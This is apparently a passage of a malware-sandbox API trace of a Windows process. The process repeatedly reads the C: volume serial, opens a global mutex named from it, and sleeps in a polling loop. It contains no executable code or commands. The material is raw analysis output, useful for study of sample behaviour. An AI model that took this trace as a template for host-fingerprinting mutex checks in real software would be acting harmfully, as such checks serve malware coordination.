dwFlags=0x0, lpMem=0x489f78 | out: hHeap=0x470000) returned 1 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0076.942] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x19c [0076.942] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0076.942] CloseHandle (hObject=0x19c) returned 1 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0076.942] GetProcessHeap () returned 0x470000 [0076.942] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0076.942] Sleep (dwMilliseconds=0x3e8) [0078.620] GetProcessHeap () returned 0x470000 [0078.620] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489fc8 [0078.620] GetProcessHeap () returned 0x470000 [0078.620] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489ff0 [0078.620] GetProcessHeap () returned 0x470000 [0078.620] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x48a018 [0078.620] GetProcessHeap () returned 0x470000 [0078.620] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x491e08 [0078.620] GetProcessHeap () returned 0x470000 [0078.620] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x491e08 | out: hHeap=0x470000) returned 1 [0078.620] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489ff0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489fc8 | out: hHeap=0x470000) returned 1 [0078.621] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489ff0 | out: hHeap=0x470000) returned 1 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0078.621] GetProcessHeap () returned 0x470000 [0078.621] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f8d8 [0078.621] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0078.622] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0078.622] CloseHandle (hObject=0x1c0) returned 1 [0078.622] GetProcessHeap () returned 0x470000 [0078.622] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0078.622] GetProcessHeap () returned 0x470000 [0078.622] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f8d8 | out: hHeap=0x470000) returned 1 [0078.622] Sleep (dwMilliseconds=0x3e8) [0079.817] GetProcessHeap () returned 0x470000 [0079.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489fc8 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x48a018 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x4937e0 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x493fc8 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493fc8 | out: hHeap=0x470000) returned 1 [0079.817] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x48a018, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0079.817] GetProcessHeap () returned 0x470000 [0079.817] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489fc8 | out: hHeap=0x470000) returned 1 [0079.817] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0079.818] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0079.818] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0079.818] CloseHandle (hObject=0x1cc) returned 1 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0079.818] GetProcessHeap () returned 0x470000 [0079.818] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0079.818] Sleep (dwMilliseconds=0x3e8) [0080.845] GetProcessHeap () returned 0x470000 [0080.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489fc8 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x4937e0 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x491d80 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x491d80 | out: hHeap=0x470000) returned 1 [0080.846] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0080.846] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489fc8 | out: hHeap=0x470000) returned 1 [0080.846] GetProcessHeap () returned 0x470000 [0080.846] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0080.847] GetProcessHeap () returned 0x470000 [0080.847] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0080.847] GetProcessHeap () returned 0x470000 [0080.847] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0080.847] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0080.847] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0080.847] CloseHandle (hObject=0x1c4) returned 1 [0080.847] GetProcessHeap () returned 0x470000 [0080.847] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0080.847] GetProcessHeap () returned 0x470000 [0080.847] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0080.847] Sleep (dwMilliseconds=0x3e8) [0082.802] GetProcessHeap () returned 0x470000 [0082.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0082.802] GetProcessHeap () returned 0x470000 [0082.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0082.802] GetProcessHeap () returned 0x470000 [0082.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0082.802] GetProcessHeap () returned 0x470000 [0082.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x491d80 [0082.802] GetProcessHeap () returned 0x470000 [0082.802] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x491d80 | out: hHeap=0x470000) returned 1 [0082.803] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0082.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0082.803] GetProcessHeap () returned 0x470000 [0082.803] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0082.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0082.804] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0082.804] CloseHandle (hObject=0x1cc) returned 1 [0082.804] GetProcessHeap () returned 0x470000 [0082.804] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0082.804] GetProcessHeap () returned 0x470000 [0082.804] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0082.804] Sleep (dwMilliseconds=0x3e8) [0085.833] GetProcessHeap () returned 0x470000 [0085.833] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0085.833] GetProcessHeap () returned 0x470000 [0085.834] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x493fc8 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493fc8 | out: hHeap=0x470000) returned 1 [0085.834] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0085.834] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0085.834] GetProcessHeap () returned 0x470000 [0085.834] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0085.835] GetProcessHeap () returned 0x470000 [0085.835] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0085.835] GetProcessHeap () returned 0x470000 [0085.835] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0085.835] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1ac [0085.835] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0085.835] CloseHandle (hObject=0x1ac) returned 1 [0085.835] GetProcessHeap () returned 0x470000 [0085.835] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0085.835] GetProcessHeap () returned 0x470000 [0085.835] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0085.835] Sleep (dwMilliseconds=0x3e8) [0087.802] GetProcessHeap () returned 0x470000 [0087.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0087.802] GetProcessHeap () returned 0x470000 [0087.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0087.802] GetProcessHeap () returned 0x470000 [0087.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0087.802] GetProcessHeap () returned 0x470000 [0087.802] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x494050 [0087.802] GetProcessHeap () returned 0x470000 [0087.802] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494050 | out: hHeap=0x470000) returned 1 [0087.802] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.803] GetProcessHeap () returned 0x470000 [0087.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0087.803] GetProcessHeap () returned 0x470000 [0087.803] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0087.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.804] GetProcessHeap () returned 0x470000 [0087.804] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0087.804] GetProcessHeap () returned 0x470000 [0087.804] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0087.804] GetProcessHeap () returned 0x470000 [0087.804] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0087.804] GetProcessHeap () returned 0x470000 [0087.804] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0087.804] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0087.805] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0087.805] CloseHandle (hObject=0x1c4) returned 1 [0087.805] GetProcessHeap () returned 0x470000 [0087.805] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0087.805] GetProcessHeap () returned 0x470000 [0087.805] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0087.805] Sleep (dwMilliseconds=0x3e8) [0088.859] GetProcessHeap () returned 0x470000 [0088.859] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0088.859] GetProcessHeap () returned 0x470000 [0088.859] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0088.859] GetProcessHeap () returned 0x470000 [0088.859] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0088.859] GetProcessHeap () returned 0x470000 [0088.860] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x494050 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494050 | out: hHeap=0x470000) returned 1 [0088.860] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0088.860] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0088.860] GetProcessHeap () returned 0x470000 [0088.860] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0088.860] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0088.861] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0088.861] CloseHandle (hObject=0x1c4) returned 1 [0088.861] GetProcessHeap () returned 0x470000 [0088.861] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0088.861] GetProcessHeap () returned 0x470000 [0088.861] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0088.861] Sleep (dwMilliseconds=0x3e8) [0092.058] GetProcessHeap () returned 0x470000 [0092.058] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x493fc8 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493fc8 | out: hHeap=0x470000) returned 1 [0092.058] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0092.058] GetProcessHeap () returned 0x470000 [0092.058] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0092.058] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.059] GetProcessHeap () returned 0x470000 [0092.059] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0092.059] GetProcessHeap () returned 0x470000 [0092.059] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0092.059] GetProcessHeap () returned 0x470000 [0092.059] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0092.059] GetProcessHeap () returned 0x470000 [0092.059] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0092.059] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1cc [0092.059] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0092.059] CloseHandle (hObject=0x1cc) returned 1 [0092.059] GetProcessHeap () returned 0x470000 [0092.060] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0092.060] GetProcessHeap () returned 0x470000 [0092.060] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0092.060] Sleep (dwMilliseconds=0x3e8) [0094.943] GetProcessHeap () returned 0x470000 [0094.944] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x494060 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x494060 | out: hHeap=0x470000) returned 1 [0094.944] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x4937e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493808 | out: hHeap=0x470000) returned 1 [0094.944] GetProcessHeap () returned 0x470000 [0094.944] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a018 | out: hHeap=0x470000) returned 1 [0094.944] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x238fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x238fb3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.944] GetProcessHeap () returned 0x470000 [0094.945] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4937e0 | out: hHeap=0x470000) returned 1 [0094.945] GetProcessHeap () returned 0x470000 [0094.945] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x484000 [0094.945] GetProcessHeap () returned 0x470000 [0094.945] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483fb8 [0094.945] GetProcessHeap () returned 0x470000 [0094.945] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0094.945] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0094.945] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0094.945] CloseHandle (hObject=0x1d0) returned 1 [0094.945] GetProcessHeap () returned 0x470000 [0094.945] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0094.945] GetProcessHeap () returned 0x470000 [0094.945] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0094.945] Sleep (dwMilliseconds=0x3e8) [0100.217] GetProcessHeap () returned 0x470000 [0100.217] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x48a018 [0100.217] GetProcessHeap () returned 0x470000 [0100.217] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x4937e0 [0100.217] GetProcessHeap () returned 0x470000 [0100.217] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x493808 [0100.217] GetProcessHeap () returned 0x470000 [0100.217] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x494060 [0100.217] GetProcessHeap () returned 0x470000 [0100.217] HeapFree (in: hHeap=0x470000, 